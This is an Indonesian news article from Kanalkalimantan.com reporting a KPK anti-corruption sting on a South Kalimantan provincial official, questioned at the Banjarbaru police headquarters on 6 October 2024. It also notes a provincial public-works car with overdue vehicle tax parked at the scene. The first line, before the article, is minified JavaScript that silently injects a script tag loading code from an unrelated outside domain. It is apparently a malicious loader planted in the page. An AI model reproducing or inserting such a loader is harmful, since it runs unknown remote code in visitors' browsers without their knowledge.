(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tim penyidik Komisi Pemberantasan Korupsi (KPK) RI melakukan Operasi Tangkap Tangan (OTT) terhadap salah satu pejabat di lingkungan Pemerintah Provinsi Kalimantan Selatan, Minggu (6/10/2024) malam.
Informasi OTT KPK tersebut dibenarkan Kasat Reskrim Polres Banjarbaru Iptu Haris Wicaksono saat ditemui di Mapolres Banjarbaru di Banjarbaru, Minggu (6/10/2024) malam.
Sebab pemeriksaan intensif itu berlangsung dan dilakukan di salah satu ruang di Mapolres Banjarbaru. Dirinya nampak keluar dari ruangan kantor, namun pemeriksaan masih berlangsung.
“Betul, ruangan Mapolres dipakai menjadi tempat pemeriksaan KPK,” ucap singkat Iptu Haris Wicaksono.
Meski demikian, Kasatreskrim Polres Banjarbaru belum bisa memberikan keterangan lebih lanjut mengenai penyelenggara negara atau siapa saja pihak yang terjaring OTT tersebut maupun hal lain terkait kegiatan tersebut.
Hingga berita ini dinaikkan, saat ini tim penyidik KPK masih bergerak di lapangan.
Baca juga: OTT KPK di Banjarbaru, Diduga Libatkan Pejabat Pemprov Kalsel
Sementara itu, pantauan Kanalkalimantan.com, hingga pukul 23.50 Wita, pemeriksaan masih berlangsung di salah satu ruang Mapolres Banjarbaru.
Sementara tampak di halaman Mapolres Banjarbaru terparkir mobil dinas dengan nomor polisi DA 1152 PE.
Mobil Mitsubishi Xpander Cross 1.5L berplat merah tersebut dalam aplikasi Bapenda (Badan Pendapatan Daerah) Kalsel diketahui milik Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel.
Baca juga: Paripurna Terakhir DPRD Banjarbaru 2019-2024, Sahkan Raperda APBD 2025
Seturut penelusuran Kanalkalimantan.com, mobil Mitsubishi Xpander Cross 1.5L berplat merah tersebut dalam aplikasi Bapenda (Badan Pendapatan Daerah) Kalsel diketahui milik Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel.
Diketahui juga mobil dinas warna hitam lansiran tahun 2022 berpenggerak 4x2A/T itu berstatus terlambat bayar pajak, dimana tercatat jatuh tempo pajak pada 16-3-2024.
(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.